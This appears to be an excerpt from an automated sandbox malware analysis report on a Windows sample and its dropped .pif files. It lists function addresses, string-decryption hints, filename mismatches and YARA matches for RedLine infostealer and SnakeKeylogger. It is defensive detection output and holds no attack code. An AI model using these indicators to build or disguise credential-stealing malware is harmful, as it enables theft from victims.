Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29957120 14_2_29957120
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29951D28 14_2_29951D28
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995E740 14_2_2995E740
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995AB48 14_2_2995AB48
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995D970 14_2_2995D970
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29951760 14_2_29951760
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29955480 14_2_29955480
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995D280 14_2_2995D280
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_299562B0 14_2_299562B0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_299582A0 14_2_299582A0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995BCA0 14_2_2995BCA0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29957CD8 14_2_29957CD8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995B6D8 14_2_2995B6D8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29950608 14_2_29950608
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29958E30 14_2_29958E30
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995EE28 14_2_2995EE28
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995E058 14_2_2995E058
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29950040 14_2_29950040
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29958868 14_2_29958868
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995C268 14_2_2995C268
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995F501 14_2_2995F501
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995E730 14_2_2995E730
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995AB39 14_2_2995AB39
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995D96C 14_2_2995D96C
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995501F 14_2_2995501F
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995EE19 14_2_2995EE19
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29955020 14_2_29955020
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995E048 14_2_2995E048
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995D272 14_2_2995D272
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29B50E10 14_2_29B50E10
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29B5A1F0 14_2_29B5A1F0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29B50040 14_2_29B50040
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29B50728 14_2_29B50728
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29B51DD8 14_2_29B51DD8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29B514F8 14_2_29B514F8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29B50E08 14_2_29B50E08
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29B50718 14_2_29B50718
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29B57CF8 14_2_29B57CF8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29B57CE8 14_2_29B57CE8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29B514F5 14_2_29B514F5
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29C4A900 14_2_29C4A900
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29C4B7B8 14_2_29C4B7B8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29C441D0 14_2_29C441D0
Source: C:\Users\Public\alpha.pif Code function: 16_2_00394C10 16_2_00394C10
Source: C:\Users\Public\alpha.pif Code function: 16_2_0039540A 16_2_0039540A
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A4875 16_2_003A4875
Source: C:\Users\Public\alpha.pif Code function: 16_2_003974B1 16_2_003974B1
Source: C:\Users\Public\alpha.pif Code function: 16_2_003B695A 16_2_003B695A
Source: C:\Users\Public\alpha.pif Code function: 16_2_00399144 16_2_00399144
Source: C:\Users\Public\alpha.pif Code function: 16_2_003B4191 16_2_003B4191
Source: C:\Users\Public\alpha.pif Code function: 16_2_00397A34 16_2_00397A34
Source: C:\Users\Public\alpha.pif Code function: 16_2_0039EE03 16_2_0039EE03
Source: C:\Users\Public\alpha.pif Code function: 16_2_0039D660 16_2_0039D660
Source: C:\Users\Public\alpha.pif Code function: 16_2_003B3E66 16_2_003B3E66
Source: C:\Users\Public\alpha.pif Code function: 16_2_00396E57 16_2_00396E57
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A3EB3 16_2_003A3EB3
Source: C:\Users\Public\alpha.pif Code function: 16_2_003B769E 16_2_003B769E
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A5A86 16_2_003A5A86
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A4EC1 16_2_003A4EC1
Source: C:\Users\Public\alpha.pif Code function: 16_2_00396B20 16_2_00396B20
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A0740 16_2_003A0740
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A0BF0 16_2_003A0BF0
Source: C:\Users\Public\alpha.pif Code function: 19_2_00394C10 19_2_00394C10
Source: C:\Users\Public\alpha.pif Code function: 19_2_0039540A 19_2_0039540A
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A4875 19_2_003A4875
Source: C:\Users\Public\alpha.pif Code function: 19_2_003974B1 19_2_003974B1
Source: C:\Users\Public\alpha.pif Code function: 19_2_003B695A 19_2_003B695A
Source: C:\Users\Public\alpha.pif Code function: 19_2_00399144 19_2_00399144
Source: C:\Users\Public\alpha.pif Code function: 19_2_003B4191 19_2_003B4191
Source: C:\Users\Public\alpha.pif Code function: 19_2_00397A34 19_2_00397A34
Source: C:\Users\Public\alpha.pif Code function: 19_2_0039EE03 19_2_0039EE03
Source: C:\Users\Public\alpha.pif Code function: 19_2_0039D660 19_2_0039D660
Source: C:\Users\Public\alpha.pif Code function: 19_2_003B3E66 19_2_003B3E66
Source: C:\Users\Public\alpha.pif Code function: 19_2_00396E57 19_2_00396E57
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A3EB3 19_2_003A3EB3
Source: C:\Users\Public\alpha.pif Code function: 19_2_003B769E 19_2_003B769E
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A5A86 19_2_003A5A86
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A4EC1 19_2_003A4EC1
Source: C:\Users\Public\alpha.pif Code function: 19_2_00396B20 19_2_00396B20
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A0740 19_2_003A0740
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A0BF0 19_2_003A0BF0
Source: C:\Users\Public\xpha.pif Code function: 20_2_00381E26 20_2_00381E26
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 21_2_02AE20C4 21_2_02AE20C4
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 21_2_02AEC98E 21_2_02AEC98E
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 21_2_02AEC9DE 21_2_02AEC9DE
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_3_375165E5 23_3_375165E5
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_00408C60 23_2_00408C60
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_0040DC11 23_2_0040DC11
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_00407C3F 23_2_00407C3F
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_00418CCC 23_2_00418CCC
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_00406CA0 23_2_00406CA0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_004028B0 23_2_004028B0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_0041A4BE 23_2_0041A4BE
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_00418244 23_2_00418244
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_00401650 23_2_00401650
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_00402F20 23_2_00402F20
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_004193C4 23_2_004193C4
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_00418788 23_2_00418788
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_00402F89 23_2_00402F89
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_00402B90 23_2_00402B90
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_004073A0 23_2_004073A0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_343D15B1 23_2_343D15B1
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_343D15C0 23_2_343D15C0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_343D1320 23_2_343D1320
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_36DBE660 23_2_36DBE660
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_36DBC0F0 23_2_36DBC0F0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_36DB0A57 23_2_36DB0A57
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_36DB0A60 23_2_36DB0A60
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBDBA0 23_2_37FBDBA0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBA798 23_2_37FBA798
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBE730 23_2_37FBE730
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBB328 23_2_37FBB328
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBF2C0 23_2_37FBF2C0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBBEB8 23_2_37FBBEB8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBCA48 23_2_37FBCA48
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FB0608 23_2_37FB0608
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBD5D8 23_2_37FBD5D8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBA1D0 23_2_37FBA1D0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBE168 23_2_37FBE168
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBAD60 23_2_37FBAD60
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FB7138 23_2_37FB7138
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBECF8 23_2_37FBECF8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBB8F0 23_2_37FBB8F0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBF888 23_2_37FBF888
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBC480 23_2_37FBC480
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FB0040 23_2_37FB0040
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBD010 23_2_37FBD010
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FB2C08 23_2_37FB2C08
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FB2BF9 23_2_37FB2BF9
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBDB91 23_2_37FBDB91
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBA788 23_2_37FBA788
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FB6780 23_2_37FB6780
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FB6771 23_2_37FB6771
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBE721 23_2_37FBE721
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBB318 23_2_37FBB318
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBF2B0 23_2_37FBF2B0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBBEA8 23_2_37FBBEA8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBCA46 23_2_37FBCA46
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FB05F7 23_2_37FB05F7
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBD5C8 23_2_37FBD5C8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBA1C0 23_2_37FBA1C0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBE158 23_2_37FBE158
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBAD50 23_2_37FBAD50
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBB8E1 23_2_37FBB8E1
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBF878 23_2_37FBF878
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBC476 23_2_37FBC476
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FB0011 23_2_37FB0011
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FBD001 23_2_37FBD001
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD93F8 23_2_37FD93F8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD99E8 23_2_37FD99E8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD0BD0 23_2_37FD0BD0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD9FB8 23_2_37FD9FB8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD1198 23_2_37FD1198
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDA580 23_2_37FDA580
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDD970 23_2_37FDD970
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD1760 23_2_37FD1760
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDAB48 23_2_37FDAB48
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDE740 23_2_37FDE740
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD1D28 23_2_37FD1D28
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD7120 23_2_37FD7120
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDB110 23_2_37FDB110
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD7710 23_2_37FD7710
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDF510 23_2_37FDF510
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDB6D8 23_2_37FDB6D8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD7CD8 23_2_37FD7CD8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD62B0 23_2_37FD62B0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDBCA0 23_2_37FDBCA0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD82A0 23_2_37FD82A0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD5480 23_2_37FD5480
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDD280 23_2_37FDD280
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD8868 23_2_37FD8868
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDC268 23_2_37FDC268
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDE058 23_2_37FDE058
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD0040 23_2_37FD0040
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD8E30 23_2_37FD8E30
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDEE28 23_2_37FDEE28
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD0608 23_2_37FD0608
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD05F9 23_2_37FD05F9
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD93E9 23_2_37FD93E9
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD99D9 23_2_37FD99D9
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD9FA8 23_2_37FD9FA8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD4597 23_2_37FD4597
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD118E 23_2_37FD118E
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDA573 23_2_37FDA573
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDD969 23_2_37FDD969
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD3B5A 23_2_37FD3B5A
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD1756 23_2_37FD1756
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDAB39 23_2_37FDAB39
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDE730 23_2_37FDE730
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD1D22 23_2_37FD1D22
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD7111 23_2_37FD7111
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDF501 23_2_37FDF501
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDB100 23_2_37FDB100
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD7703 23_2_37FD7703
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD7CCD 23_2_37FD7CCD
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDB6C8 23_2_37FDB6C8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD62A6 23_2_37FD62A6
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD8290 23_2_37FD8290
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDBC90 23_2_37FDBC90
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDD271 23_2_37FDD271
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD5470 23_2_37FD5470
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDC259 23_2_37FDC259
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD8859 23_2_37FD8859
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDE048 23_2_37FDE048
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD463D 23_2_37FD463D
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD5020 23_2_37FD5020
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD8E20 23_2_37FD8E20
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FDEE18 23_2_37FDEE18
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD5010 23_2_37FD5010
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_37FD0006 23_2_37FD0006
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_381D9964 23_2_381D9964
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_381D1DD8 23_2_381D1DD8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_381D14F8 23_2_381D14F8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_381D0E10 23_2_381D0E10
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_381D0040 23_2_381D0040
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_381D0728 23_2_381D0728
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_381D7CF8 23_2_381D7CF8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_381D7CE8 23_2_381D7CE8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_381D14E8 23_2_381D14E8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_381D0E00 23_2_381D0E00
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_381D0006 23_2_381D0006
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_381DA158 23_2_381DA158
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_381D0718 23_2_381D0718
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_382CA900 23_2_382CA900
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_382CB7B8 23_2_382CB7B8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 23_2_382C41D0 23_2_382C41D0
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 24_2_02BC20C4 24_2_02BC20C4
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\Public\Libraries\yihfsboC.pif 7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
Found potential string decryption / allocating functions
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: String function: 0040D606 appears 48 times
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: String function: 0040E1D8 appears 88 times
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: String function: 02B146D4 appears 244 times
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: String function: 02B289D0 appears 45 times
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: String function: 02B2894C appears 56 times
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: String function: 02B144DC appears 74 times
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: String function: 02B14500 appears 33 times
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: String function: 02B14860 appears 949 times
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: String function: 02BD894C appears 50 times
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: String function: 02AE46D4 appears 155 times
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: String function: 02BC4860 appears 683 times
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: String function: 02AE4860 appears 683 times
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: String function: 02BC46D4 appears 155 times
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: String function: 02AF894C appears 50 times
Sample file is different than original file name gathered from version info
Source: EPTMAcgvNZ.exe Binary or memory string: OriginalFilename vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1396601704.0000000020840000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1396601704.0000000020840000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameLOADER.EXEB vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameLOADER.EXEB vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1355304078.0000000002375000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameTruesight4 vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000003.1351068324.00000000217FB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameLOADER.EXEB vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000003.1347686581.00000000217C3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000003.1351068324.000000002179D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameLOADER.EXEB vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1415066252.000000007FB20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameLOADER.EXEB vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1411922901.0000000021EF1000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1409907919.0000000021A70000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1409907919.0000000021A70000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameLOADER.EXEB vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000003.1347686581.00000000217F2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000207F0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameLOADER.EXEB vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000207F0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameTruesight4 vs EPTMAcgvNZ.exe
Source: EPTMAcgvNZ.exe, 00000000.00000003.1252312705.000000007FCDF000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameeasinvoker.exej% vs EPTMAcgvNZ.exe
Uses 32bit PE files
Source: EPTMAcgvNZ.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
Yara signature match
Source: 14.2.yihfsboC.pif.400000.5.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 26.2.yihfsboC.pif.2b4c0000.10.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 26.2.yihfsboC.pif.2b4c0000.10.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
